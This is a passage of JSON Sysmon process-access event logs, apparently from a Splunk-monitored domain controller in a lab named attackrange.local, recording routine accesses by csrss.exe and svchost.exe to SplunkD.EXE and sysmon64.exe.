Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-0010E5390300}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-0010E5390300}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 